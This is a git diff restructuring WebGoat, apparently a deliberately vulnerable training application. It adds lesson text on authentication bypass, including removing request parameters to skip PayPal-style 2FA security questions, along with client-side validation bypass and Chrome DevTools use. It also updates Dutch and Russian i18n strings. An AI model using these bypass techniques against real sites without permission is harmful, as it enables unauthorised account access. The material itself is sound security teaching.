rename to src/main/resources/i18n/messages_nl.properties index 2370be9d4..2f4dff687 100644 --- a/webgoat-container/src/main/resources/i18n/messages_nl.properties +++ b/src/main/resources/i18n/messages_nl.properties @@ -22,13 +22,16 @@ # projects. #

# -LessonCompleted=Gefeliciteerd, je hebt de les succesvol afgerond. +lesson.completed=Gefeliciteerd, je hebt deze les succesvol afgerond. +assignment.solved=Gefeliciteerd, je hebt deze opdracht succesvol afgerond. +assignment.not.solved=Sorry de oplossing is niet correct, probeer het nog eens. RestartLesson=Herstart de les SolutionVideos=Video oplossingen ErrorGenerating=Fout opgetreden tijdens generatie InvalidData=Ongeldige invoer -Go!=Go! +Go!=Ga snel aan de slag! password=Wachtwoord +password.confirm=Herhaal wachtwoord username=Gebruikersnaam logged_out=Je bent succesvol uitgelogd. invalid_username_password=Ongeldige gebruikersnaam/wachtwoord combinatie @@ -46,4 +49,14 @@ contact=Neem contact met ons op show.hints=Toon hints lesson.overview=Overzicht les reset.lesson=Herstart les -sign.in=Log in \ No newline at end of file +sign.in=Inloggen +terms.agree=Ik ga akkoord met de voorwaarden +sign.up=Registreer +register.title=Aanmelden als nieuwe gebruiker +register.new=of aanmelden als nieuwe gebruiker +termsofuse=Gebruiksvoorwaarden +register.condition.1=Wanneer u WebGoat runt op uw computer, bent u kwetsbaar voor cyber aanvallen. \ + Zorg dat u geen verbinding heeft met internet en dat toegang tot WebGoat alleen lokaal mogelijk is om het aanvalsoppervlak te verkleinen. +register.condition.2=WebGoat is bedoeld als educatieve applicatie op het gebied van secure software development. \ + Gebruik wat u leert om applicaties beter te maken en niet om zonder toestemming applicaties te schaden. \ + In dat laatste geval loopt u risico op rechtsvervoling en ontslag. diff --git a/webgoat-container/src/main/resources/i18n/messages_ru.properties b/src/main/resources/i18n/messages_ru.properties similarity index 86% rename from webgoat-container/src/main/resources/i18n/messages_ru.properties rename to src/main/resources/i18n/messages_ru.properties index 436a81ee5..e24c2b8f4 100644 --- a/webgoat-container/src/main/resources/i18n/messages_ru.properties +++ b/src/main/resources/i18n/messages_ru.properties @@ -24,7 +24,7 @@ # #General -LessonCompleted=\u041f\u043e\u0437\u0434\u0440\u0430\u0432\u043b\u044f\u044e. \u0412\u044b \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u043f\u0440\u043e\u0448\u043b\u0438 \u0434\u0430\u043d\u043d\u044b\u0439 \u0443\u0440\u043e\u043a. +lesson.completed=\u041f\u043e\u0437\u0434\u0440\u0430\u0432\u043b\u044f\u044e. \u0412\u044b \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u043f\u0440\u043e\u0448\u043b\u0438 \u0434\u0430\u043d\u043d\u044b\u0439 \u0443\u0440\u043e\u043a. RestartLesson=\u041d\u0430\u0447\u0430\u043b\u044c \u0441\u043d\u0430\u0447\u0430\u043b\u0430 SolutionVideos=\u0412\u0438\u0434\u0435\u043e \u0441 \u0440\u0435\u0448\u0435\u043d\u0438\u0435\u043c ErrorGenerating=\u041f\u0440\u043e\u0438\u0437\u043e\u0448\u043b\u0430 \u043e\u0448\u0438\u0431\u043a\u0430 diff --git a/src/main/resources/lessons/authbypass/documentation/2fa-bypass.adoc b/src/main/resources/lessons/authbypass/documentation/2fa-bypass.adoc new file mode 100644 index 000000000..f5e0fc5bd --- /dev/null +++ b/src/main/resources/lessons/authbypass/documentation/2fa-bypass.adoc @@ -0,0 +1,15 @@ + +== 2FA Password Reset + +An excellent example of authentication bypass is a recent (2016) example (https://henryhoggard.co.uk/blog/Paypal-2FA-Bypass). He could not receive an SMS with a code, so he opted for +an alternative method, which involved security questions. Using a proxy, removed the parameters entirely and won. + +image::images/paypal-2fa-bypass.png[Paypal 2FA bypass,1397,645,style="lesson-image"] + + +=== The Scenario + +You reset your password, but do it from a location or device that your provider does not recognize. So you need to answer the security questions you set up. The other issue is +Those security questions are also stored on another device (not with you), and you don't remember them. + +You have already provided your username/email and opted for the alternative verification method. diff --git a/src/main/resources/lessons/authbypass/documentation/bypass-intro.adoc b/src/main/resources/lessons/authbypass/documentation/bypass-intro.adoc new file mode 100644 index 000000000..fd5a8b924 --- /dev/null +++ b/src/main/resources/lessons/authbypass/documentation/bypass-intro.adoc @@ -0,0 +1,15 @@ +== Authentication Bypasses + +Authentication Bypasses happen in many ways but usually take advantage of some flaw in the configuration or logic. Tampering to achieve the right conditions. + +=== Hidden inputs + +The simplest form is a reliance on a hidden input in the web page/DOM. + +=== Removing Parameters + +Sometimes, if an attacker doesn't know the correct value of a parameter, they may remove it from the submission altogether to see what happens. + +=== Forced Browsing + +If an area of a site is not appropriately protected by configuration, that area of the site may be accessed by guessing/brute-forcing. diff --git a/webgoat-lessons/auth-bypass/src/main/resources/lessonPlans/en/lesson-template-video.adoc b/src/main/resources/lessons/authbypass/documentation/lesson-template-video.adoc similarity index 82% rename from webgoat-lessons/auth-bypass/src/main/resources/lessonPlans/en/lesson-template-video.adoc rename to src/main/resources/lessons/authbypass/documentation/lesson-template-video.adoc index 83831886f..105527d5a 100644 --- a/webgoat-lessons/auth-bypass/src/main/resources/lessonPlans/en/lesson-template-video.adoc +++ b/src/main/resources/lessons/authbypass/documentation/lesson-template-video.adoc @@ -1,7 +1,7 @@ === More Content, Video too ... -You can structure and format the content however you like. You can even include video if you like (but may be subject to browser support). You may want to make it more pertinent to web application security than this though. +You can structure and format the content however you like. You can even include video if you like (but may be subject to browser support). You may want to make it more pertinent to web application security than this, though. video::video/sample-video.m4v[width=480,start=5] -see http://asciidoctor.org/docs/asciidoc-syntax-quick-reference/#videos for more detail on video syntax \ No newline at end of file +see http://asciidoctor.org/docs/asciidoc-syntax-quick-reference/#videos for more detail on video syntax diff --git a/webgoat-lessons/auth-bypass/src/main/resources/html/AuthBypass.html b/src/main/resources/lessons/authbypass/html/AuthBypass.html similarity index 90% rename from webgoat-lessons/auth-bypass/src/main/resources/html/AuthBypass.html rename to src/main/resources/lessons/authbypass/html/AuthBypass.html index dcea54734..914bd2064 100644 --- a/webgoat-lessons/auth-bypass/src/main/resources/html/AuthBypass.html +++ b/src/main/resources/lessons/authbypass/html/AuthBypass.html @@ -4,14 +4,14 @@ -

+
-
+
@@ -72,9 +72,9 @@ - + - + diff --git a/webgoat-lessons/auth-bypass/src/main/resources/i18n/WebGoatLabels.properties b/src/main/resources/lessons/authbypass/i18n/WebGoatLabels.properties similarity index 100% rename from webgoat-lessons/auth-bypass/src/main/resources/i18n/WebGoatLabels.properties rename to src/main/resources/lessons/authbypass/i18n/WebGoatLabels.properties diff --git a/webgoat-lessons/auth-bypass/src/main/resources/images/firefox-proxy-config.png b/src/main/resources/lessons/authbypass/images/firefox-proxy-config.png similarity index 100% rename from webgoat-lessons/auth-bypass/src/main/resources/images/firefox-proxy-config.png rename to src/main/resources/lessons/authbypass/images/firefox-proxy-config.png diff --git a/webgoat-lessons/auth-bypass/src/main/resources/images/paypal-2fa-bypass.png b/src/main/resources/lessons/authbypass/images/paypal-2fa-bypass.png similarity index 100% rename from webgoat-lessons/auth-bypass/src/main/resources/images/paypal-2fa-bypass.png rename to src/main/resources/lessons/authbypass/images/paypal-2fa-bypass.png diff --git a/webgoat-lessons/auth-bypass/src/main/resources/js/bypass.js b/src/main/resources/lessons/authbypass/js/bypass.js similarity index 100% rename from webgoat-lessons/auth-bypass/src/main/resources/js/bypass.js rename to src/main/resources/lessons/authbypass/js/bypass.js diff --git a/webgoat-lessons/bypass-restrictions/src/main/resources/css/bypass-restrictions.css b/src/main/resources/lessons/bypassrestrictions/css/bypass-restrictions.css similarity index 100% rename from webgoat-lessons/bypass-restrictions/src/main/resources/css/bypass-restrictions.css rename to src/main/resources/lessons/bypassrestrictions/css/bypass-restrictions.css diff --git a/webgoat-lessons/bypass-restrictions/src/main/resources/lessonPlans/en/BypassRestrictions_FieldRestrictions.adoc b/src/main/resources/lessons/bypassrestrictions/documentation/BypassRestrictions_FieldRestrictions.adoc similarity index 64% rename from webgoat-lessons/bypass-restrictions/src/main/resources/lessonPlans/en/BypassRestrictions_FieldRestrictions.adoc rename to src/main/resources/lessons/bypassrestrictions/documentation/BypassRestrictions_FieldRestrictions.adoc index 4d103d6b3..edc411eda 100755 --- a/webgoat-lessons/bypass-restrictions/src/main/resources/lessonPlans/en/BypassRestrictions_FieldRestrictions.adoc +++ b/src/main/resources/lessons/bypassrestrictions/documentation/BypassRestrictions_FieldRestrictions.adoc @@ -1,6 +1,6 @@ == Field Restrictions -In most browsers, client has complete or almost complete control over HTML part +In most browsers, the client has complete or almost complete control over the HTML part of the webpage. They can alter values or restrictions to fit their preference. === Task -Send a request that bypasses restrictions of all four of these fields +Send a request that bypasses restrictions of all four of these fields. diff --git a/webgoat-lessons/bypass-restrictions/src/main/resources/lessonPlans/en/BypassRestrictions_FrontendValidation.adoc b/src/main/resources/lessons/bypassrestrictions/documentation/BypassRestrictions_FrontendValidation.adoc similarity index 58% rename from webgoat-lessons/bypass-restrictions/src/main/resources/lessonPlans/en/BypassRestrictions_FrontendValidation.adoc rename to src/main/resources/lessons/bypassrestrictions/documentation/BypassRestrictions_FrontendValidation.adoc index 67b4dd857..cf966a179 100644 --- a/webgoat-lessons/bypass-restrictions/src/main/resources/lessonPlans/en/BypassRestrictions_FrontendValidation.adoc +++ b/src/main/resources/lessons/bypassrestrictions/documentation/BypassRestrictions_FrontendValidation.adoc @@ -1,7 +1,7 @@ == Validation -Often, there is some mechanism in place to prevent users from sending altered -field values to server, such as validation before sending. Most of popular browsers +There is often some mechanism in place to prevent users from sending altered +field values to the server, such as validation before sending. Most popular browsers such as Chrome don't allow editing scripts during runtime. We will have to circumvent the validation some other way. diff --git a/src/main/resources/lessons/bypassrestrictions/documentation/BypassRestrictions_Intro.adoc b/src/main/resources/lessons/bypassrestrictions/documentation/BypassRestrictions_Intro.adoc new file mode 100755 index 000000000..201de0cfc --- /dev/null +++ b/src/main/resources/lessons/bypassrestrictions/documentation/BypassRestrictions_Intro.adoc @@ -0,0 +1,10 @@ +== Concept + +Users have a great degree of control over the web application's front-end. +They can alter HTML code, sometimes also scripts. Applications that require a certain input format should also validate on the server-side. + +== Goals + +* The user should have a basic knowledge of HTML +* The user should be able to tamper with a request before sending (with proxy or other tools) +* The user will be able to tamper with field restrictions and bypass client-side validation diff --git a/webgoat-lessons/bypass-restrictions/src/main/resources/html/BypassRestrictions.html b/src/main/resources/lessons/bypassrestrictions/html/BypassRestrictions.html similarity index 94% rename from webgoat-lessons/bypass-restrictions/src/main/resources/html/BypassRestrictions.html rename to src/main/resources/lessons/bypassrestrictions/html/BypassRestrictions.html index 38eadc4f3..4c506a09f 100755 --- a/webgoat-lessons/bypass-restrictions/src/main/resources/html/BypassRestrictions.html +++ b/src/main/resources/lessons/bypassrestrictions/html/BypassRestrictions.html @@ -6,12 +6,12 @@ -
+
-
+
@@ -59,7 +59,7 @@
-
+
diff --git a/webgoat-lessons/bypass-restrictions/src/main/resources/i18n/WebGoatLabels.properties b/src/main/resources/lessons/bypassrestrictions/i18n/WebGoatLabels.properties similarity index 100% rename from webgoat-lessons/bypass-restrictions/src/main/resources/i18n/WebGoatLabels.properties rename to src/main/resources/lessons/bypassrestrictions/i18n/WebGoatLabels.properties diff --git a/webgoat-lessons/challenge/src/main/resources/challenge7/git.zip b/src/main/resources/lessons/challenges/challenge7/git.zip similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/challenge7/git.zip rename to src/main/resources/lessons/challenges/challenge7/git.zip diff --git a/webgoat-lessons/challenge/src/main/resources/css/challenge6.css b/src/main/resources/lessons/challenges/css/challenge6.css similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/css/challenge6.css rename to src/main/resources/lessons/challenges/css/challenge6.css diff --git a/webgoat-lessons/challenge/src/main/resources/css/challenge8.css b/src/main/resources/lessons/challenges/css/challenge8.css similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/css/challenge8.css rename to src/main/resources/lessons/challenges/css/challenge8.css diff --git a/webgoat-lessons/challenge/src/main/resources/db/migration/V2018_09_26_1__users.sql b/src/main/resources/lessons/challenges/db/migration/V2018_09_26_1__users.sql similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/db/migration/V2018_09_26_1__users.sql rename to src/main/resources/lessons/challenges/db/migration/V2018_09_26_1__users.sql diff --git a/webgoat-lessons/challenge/src/main/resources/lessonPlans/en/Challenge_1.adoc b/src/main/resources/lessons/challenges/documentation/Challenge_1.adoc similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/lessonPlans/en/Challenge_1.adoc rename to src/main/resources/lessons/challenges/documentation/Challenge_1.adoc diff --git a/webgoat-lessons/challenge/src/main/resources/lessonPlans/en/Challenge_5.adoc b/src/main/resources/lessons/challenges/documentation/Challenge_5.adoc similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/lessonPlans/en/Challenge_5.adoc rename to src/main/resources/lessons/challenges/documentation/Challenge_5.adoc diff --git a/webgoat-lessons/challenge/src/main/resources/lessonPlans/en/Challenge_6.adoc b/src/main/resources/lessons/challenges/documentation/Challenge_6.adoc similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/lessonPlans/en/Challenge_6.adoc rename to src/main/resources/lessons/challenges/documentation/Challenge_6.adoc diff --git a/webgoat-lessons/challenge/src/main/resources/lessonPlans/en/Challenge_7.adoc b/src/main/resources/lessons/challenges/documentation/Challenge_7.adoc similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/lessonPlans/en/Challenge_7.adoc rename to src/main/resources/lessons/challenges/documentation/Challenge_7.adoc diff --git a/webgoat-lessons/challenge/src/main/resources/lessonPlans/en/Challenge_8.adoc b/src/main/resources/lessons/challenges/documentation/Challenge_8.adoc similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/lessonPlans/en/Challenge_8.adoc rename to src/main/resources/lessons/challenges/documentation/Challenge_8.adoc diff --git a/webgoat-lessons/challenge/src/main/resources/lessonPlans/en/Challenge_introduction.adoc b/src/main/resources/lessons/challenges/documentation/Challenge_introduction.adoc similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/lessonPlans/en/Challenge_introduction.adoc rename to src/main/resources/lessons/challenges/documentation/Challenge_introduction.adoc diff --git a/src/main/resources/lessons/challenges/html/Challenge.html b/src/main/resources/lessons/challenges/html/Challenge.html new file mode 100644 index 000000000..713d902f3 --- /dev/null +++ b/src/main/resources/lessons/challenges/html/Challenge.html @@ -0,0 +1,9 @@ + + + + +
+
+
+ + diff --git a/webgoat-lessons/challenge/src/main/resources/html/Challenge1.html b/src/main/resources/lessons/challenges/html/Challenge1.html similarity index 95% rename from webgoat-lessons/challenge/src/main/resources/html/Challenge1.html rename to src/main/resources/lessons/challenges/html/Challenge1.html index 0f1d32fc9..f69942f38 100644 --- a/webgoat-lessons/challenge/src/main/resources/html/Challenge1.html +++ b/src/main/resources/lessons/challenges/html/Challenge1.html @@ -3,7 +3,7 @@
-
+
@@ -60,4 +60,4 @@
- \ No newline at end of file + diff --git a/webgoat-lessons/challenge/src/main/resources/html/Challenge5.html b/src/main/resources/lessons/challenges/html/Challenge5.html similarity index 97% rename from webgoat-lessons/challenge/src/main/resources/html/Challenge5.html rename to src/main/resources/lessons/challenges/html/Challenge5.html index 286bb6876..9a6f42348 100644 --- a/webgoat-lessons/challenge/src/main/resources/html/Challenge5.html +++ b/src/main/resources/lessons/challenges/html/Challenge5.html @@ -4,7 +4,7 @@
-
+
@@ -87,4 +87,4 @@
- \ No newline at end of file + diff --git a/webgoat-lessons/challenge/src/main/resources/html/Challenge6.html b/src/main/resources/lessons/challenges/html/Challenge6.html similarity index 98% rename from webgoat-lessons/challenge/src/main/resources/html/Challenge6.html rename to src/main/resources/lessons/challenges/html/Challenge6.html index d6e174e20..1a906c0a6 100644 --- a/webgoat-lessons/challenge/src/main/resources/html/Challenge6.html +++ b/src/main/resources/lessons/challenges/html/Challenge6.html @@ -4,7 +4,7 @@
-
+
@@ -120,4 +120,4 @@
- \ No newline at end of file + diff --git a/webgoat-lessons/challenge/src/main/resources/html/Challenge7.html b/src/main/resources/lessons/challenges/html/Challenge7.html similarity index 97% rename from webgoat-lessons/challenge/src/main/resources/html/Challenge7.html rename to src/main/resources/lessons/challenges/html/Challenge7.html index 0bf8601fb..dec4331b1 100644 --- a/webgoat-lessons/challenge/src/main/resources/html/Challenge7.html +++ b/src/main/resources/lessons/challenges/html/Challenge7.html @@ -12,7 +12,7 @@ f94008f801fceb8833a30fe56a8b26976347edcf First version of WebGoat Cloud website
-
+
@@ -78,4 +78,4 @@ f94008f801fceb8833a30fe56a8b26976347edcf First version of WebGoat Cloud website
- \ No newline at end of file + diff --git a/webgoat-lessons/challenge/src/main/resources/html/Challenge8.html b/src/main/resources/lessons/challenges/html/Challenge8.html similarity index 99% rename from webgoat-lessons/challenge/src/main/resources/html/Challenge8.html rename to src/main/resources/lessons/challenges/html/Challenge8.html index efaed5c85..989977d2d 100644 --- a/webgoat-lessons/challenge/src/main/resources/html/Challenge8.html +++ b/src/main/resources/lessons/challenges/html/Challenge8.html @@ -3,7 +3,7 @@
-
+
@@ -252,4 +252,4 @@
- \ No newline at end of file + diff --git a/webgoat-lessons/challenge/src/main/resources/i18n/WebGoatLabels.properties b/src/main/resources/lessons/challenges/i18n/WebGoatLabels.properties similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/i18n/WebGoatLabels.properties rename to src/main/resources/lessons/challenges/i18n/WebGoatLabels.properties diff --git a/webgoat-lessons/challenge/src/main/resources/images/avatar1.png b/src/main/resources/lessons/challenges/images/avatar1.png similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/images/avatar1.png rename to src/main/resources/lessons/challenges/images/avatar1.png diff --git a/webgoat-lessons/challenge/src/main/resources/images/boss.jpg b/src/main/resources/lessons/challenges/images/boss.jpg similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/images/boss.jpg rename to src/main/resources/lessons/challenges/images/boss.jpg diff --git a/webgoat-lessons/challenge/src/main/resources/images/challenge1-small.png b/src/main/resources/lessons/challenges/images/challenge1-small.png similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/images/challenge1-small.png rename to src/main/resources/lessons/challenges/images/challenge1-small.png diff --git a/webgoat-lessons/challenge/src/main/resources/images/challenge1.png b/src/main/resources/lessons/challenges/images/challenge1.png similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/images/challenge1.png rename to src/main/resources/lessons/challenges/images/challenge1.png diff --git a/webgoat-lessons/challenge/src/main/resources/images/challenge2-small.png b/src/main/resources/lessons/challenges/images/challenge2-small.png similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/images/challenge2-small.png rename to src/main/resources/lessons/challenges/images/challenge2-small.png diff --git a/webgoat-lessons/challenge/src/main/resources/images/challenge2.png b/src/main/resources/lessons/challenges/images/challenge2.png similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/images/challenge2.png rename to src/main/resources/lessons/challenges/images/challenge2.png diff --git a/webgoat-lessons/challenge/src/main/resources/images/challenge3-small.png b/src/main/resources/lessons/challenges/images/challenge3-small.png similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/images/challenge3-small.png rename to src/main/resources/lessons/challenges/images/challenge3-small.png diff --git a/webgoat-lessons/challenge/src/main/resources/images/challenge3.png b/src/main/resources/lessons/challenges/images/challenge3.png similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/images/challenge3.png rename to src/main/resources/lessons/challenges/images/challenge3.png diff --git a/webgoat-lessons/challenge/src/main/resources/images/challenge4-small.png b/src/main/resources/lessons/challenges/images/challenge4-small.png similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/images/challenge4-small.png rename to src/main/resources/lessons/challenges/images/challenge4-small.png diff --git a/webgoat-lessons/challenge/src/main/resources/images/challenge4.png b/src/main/resources/lessons/challenges/images/challenge4.png similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/images/challenge4.png rename to src/main/resources/lessons/challenges/images/challenge4.png diff --git a/webgoat-lessons/challenge/src/main/resources/images/challenge5-small.png b/src/main/resources/lessons/challenges/images/challenge5-small.png similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/images/challenge5-small.png rename to src/main/resources/lessons/challenges/images/challenge5-small.png diff --git a/webgoat-lessons/challenge/src/main/resources/images/challenge5.png b/src/main/resources/lessons/challenges/images/challenge5.png similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/images/challenge5.png rename to src/main/resources/lessons/challenges/images/challenge5.png diff --git a/webgoat-lessons/challenge/src/main/resources/images/hi-five-cat.jpg b/src/main/resources/lessons/challenges/images/hi-five-cat.jpg similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/images/hi-five-cat.jpg rename to src/main/resources/lessons/challenges/images/hi-five-cat.jpg diff --git a/webgoat-lessons/challenge/src/main/resources/images/user1.png b/src/main/resources/lessons/challenges/images/user1.png similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/images/user1.png rename to src/main/resources/lessons/challenges/images/user1.png diff --git a/webgoat-lessons/challenge/src/main/resources/images/user2.png b/src/main/resources/lessons/challenges/images/user2.png similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/images/user2.png rename to src/main/resources/lessons/challenges/images/user2.png diff --git a/webgoat-lessons/challenge/src/main/resources/images/user3.png b/src/main/resources/lessons/challenges/images/user3.png similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/images/user3.png rename to src/main/resources/lessons/challenges/images/user3.png diff --git a/webgoat-lessons/challenge/src/main/resources/images/webgoat2.png b/src/main/resources/lessons/challenges/images/webgoat2.png similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/images/webgoat2.png rename to src/main/resources/lessons/challenges/images/webgoat2.png diff --git a/webgoat-lessons/challenge/src/main/resources/js/bootstrap.min.js b/src/main/resources/lessons/challenges/js/bootstrap.min.js similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/js/bootstrap.min.js rename to src/main/resources/lessons/challenges/js/bootstrap.min.js diff --git a/webgoat-lessons/challenge/src/main/resources/js/challenge6.js b/src/main/resources/lessons/challenges/js/challenge6.js similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/js/challenge6.js rename to src/main/resources/lessons/challenges/js/challenge6.js diff --git a/webgoat-lessons/challenge/src/main/resources/js/challenge8.js b/src/main/resources/lessons/challenges/js/challenge8.js similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/js/challenge8.js rename to src/main/resources/lessons/challenges/js/challenge8.js diff --git a/webgoat-lessons/chrome-dev-tools/src/main/resources/lessonPlans/en/ChromeDevTools_Assignment.adoc b/src/main/resources/lessons/chromedevtools/documentation/ChromeDevTools_Assignment.adoc similarity index 73% rename from webgoat-lessons/chrome-dev-tools/src/main/resources/lessonPlans/en/ChromeDevTools_Assignment.adoc rename to src/main/resources/lessons/chromedevtools/documentation/ChromeDevTools_Assignment.adoc index 99981c4ad..a1d8803e1 100644 --- a/webgoat-lessons/chrome-dev-tools/src/main/resources/lessonPlans/en/ChromeDevTools_Assignment.adoc +++ b/src/main/resources/lessons/chromedevtools/documentation/ChromeDevTools_Assignment.adoc @@ -1,8 +1,8 @@ == Try It! Using the console Let us try it. Use the console in the dev tools and call the javascript function *webgoat.customjs.phoneHome()*. + -You should get a response in the console. Your result should look something like: +You should get a response in the console. Your result should look something like this: `phone home said {"lessonCompleted:true, ... ,"output":"phone home response is..."` Paste the random number, after that, in the text field below. -(Make sure you got the most recent number, since it is randomly generated each time you call the function) \ No newline at end of file +(Make sure you got the most recent number since it is randomly generated each time you call the function) diff --git a/src/main/resources/lessons/chromedevtools/documentation/ChromeDevTools_Assignment_Network.adoc b/src/main/resources/lessons/chromedevtools/documentation/ChromeDevTools_Assignment_Network.adoc new file mode 100644 index 000000000..29e1324c4 --- /dev/null +++ b/src/main/resources/lessons/chromedevtools/documentation/ChromeDevTools_Assignment_Network.adoc @@ -0,0 +1,6 @@ +== Try It! Working with the Network tab + +In this assignment, you need to find a specific HTTP request and read a randomized number. +To start, click the first button. This will generate an HTTP request. Try to find the specific HTTP request. +The request should contain a field: `networkNum:` +Copy the number displayed afterward into the input field below and click on the check button. diff --git a/src/main/resources/lessons/chromedevtools/documentation/ChromeDevTools_console.adoc b/src/main/resources/lessons/chromedevtools/documentation/ChromeDevTools_console.adoc new file mode 100644 index 000000000..0780ef6bb --- /dev/null +++ b/src/main/resources/lessons/chromedevtools/documentation/ChromeDevTools_console.adoc @@ -0,0 +1,17 @@ +== The Console tab + +In the console tab, you can see anything that a loaded JavaScript file may have printed out. +Do not worry if you see something in red. While that is an error, it has probably resolved itself. +Through the console tab, it is also possible for you to run your line of JavaScript code. + +Start by clearing the console using the shortcut `CTRL+L.` + +To run your JavaScript, click inside of the console and write something like: +`console.log("Hello WebGoat!");` Hit enter. `Hello WebGoat` should now appear in your console. +The console also allows you to do some basic arithmetic. If you type, for example, `1+3` and hit +enter, the console should display 4. + +Note: You may see an `undefined` in the console. You can safely ignore this statement, +it only means that the JavaScript function you have called did not return anything, therefore `undefined.` + +image::images/ChromeDev_Console_Ex.jpg[DeveloperToolsConsoleExample,500,500,style="lesson-image"] diff --git a/src/main/resources/lessons/chromedevtools/documentation/ChromeDevTools_elements.adoc b/src/main/resources/lessons/chromedevtools/documentation/ChromeDevTools_elements.adoc new file mode 100644 index 000000000..18477e950 --- /dev/null +++ b/src/main/resources/lessons/chromedevtools/documentation/ChromeDevTools_elements.adoc @@ -0,0 +1,22 @@ +== The Elements Tab + +The elements tab allows you to look at the HTML and CSS code used to define and style the website. + +=== HTML source + +If you hover over one line, you can see that a part of the website turns blue. That means that +this particular HTML line defines this section of the website. +The elements tab allows you to make changes to every single HTML element. For example, if you click inside +a paragraph (

...

) Tag, you can edit the content of the website. If you have made your changes and then click enter +Chrome will update the website to show your edits. You can also change the HTML Tag used, +the classes and id's a tag has, and much more. + +image::images/ChromeDev_Elements.jpg[DeveloperToolsElements,500,350,style="lesson-image"] + +=== CSS source + +You can find information about the CSS used to style the +website under the HTML source. Like the HTML, you can also edit the CSS and, therefore, adjust the website's styling. +You can edit specific values or turn off individual styling. + +image::images/ChromeDev_Elements_CSS.jpg[DeveloperToolsElementsCSS,500,350,style="lesson-image"] diff --git a/src/main/resources/lessons/chromedevtools/documentation/ChromeDevTools_intro.adoc b/src/main/resources/lessons/chromedevtools/documentation/ChromeDevTools_intro.adoc new file mode 100644 index 000000000..2689a0440 --- /dev/null +++ b/src/main/resources/lessons/chromedevtools/documentation/ChromeDevTools_intro.adoc @@ -0,0 +1,19 @@ +== Google Chrome Developer Tools + +To complete certain assignments, you sometimes may have to look at the JavaScript +source code or run a JavaScript command on your own. +To do that, Google Chrome has a set of tools that allow you to do that and much more. +While these tools are not specific to Google Chrome, almost every modern browser has a bunch +of its own. Our introduction will focus on the ones found in Google Chrome. +You can, however still use the browser of your choice, like Firefox or Safari, although some steps of this tutorial +maybe different for you. + +Keep in mind that the following tutorial is not there to teach everything about these tools. +This tutorial will only focus on the essential knowledge to complete specific assignments. +Also, if you are already familiar with these tools, you can safely skip these lessons. + +To get started: *open the developer tools*. There are multiple ways to open them: + +1. Right-click anywhere in the browser window and select the option _"Inspect"_. +2. Go to the browser menu (three dots in the top right corner), then go to _"More tools"_ and select the option _"Developer tools"_. +3. Use the keyboard shortcut _Ctrl + Shift + I_ diff --git a/src/main/resources/lessons/chromedevtools/documentation/ChromeDevTools_sources.adoc b/src/main/resources/lessons/chromedevtools/documentation/ChromeDevTools_sources.adoc new file mode 100644 index 000000000..8bd4314bd --- /dev/null +++ b/src/main/resources/lessons/chromedevtools/documentation/ChromeDevTools_sources.adoc @@ -0,0 +1,16 @@ +== The Sources tab + +In the sources tab, you can check out the file system and view all the HTML, CSS, and JavaScript files used to +create the website. Click on a file to view its contents. + +image::images/ChromeDev_Sources.jpg[DeveloperToolsSources,400,500,style="lesson-image"] + +== The Network tab + +In the Network tab, you can view HTTP requests and responses the website has performed. +Just click on it if you want more detailed information on a particular request. +The "Timeline" above the blue dots represents when these requests and responses have been performed. +You can also see the Requests done in a specific time frame simply by clicking and dragging on the timeline. The window +below will only show the requests and responses done in that time frame. + +image::images/ChromeDev_Network.jpg[DeveloperToolsNetwork,400,500,style="lesson-image"] diff --git a/webgoat-lessons/chrome-dev-tools/src/main/resources/html/ChromeDevTools.html b/src/main/resources/lessons/chromedevtools/html/ChromeDevTools.html similarity index 79% rename from webgoat-lessons/chrome-dev-tools/src/main/resources/html/ChromeDevTools.html rename to src/main/resources/lessons/chromedevtools/html/ChromeDevTools.html index 9102a5f3e..c83603964 100644 --- a/webgoat-lessons/chrome-dev-tools/src/main/resources/html/ChromeDevTools.html +++ b/src/main/resources/lessons/chromedevtools/html/ChromeDevTools.html @@ -4,22 +4,22 @@
-
+
-
+
-
+
-
+
-
+
-
+
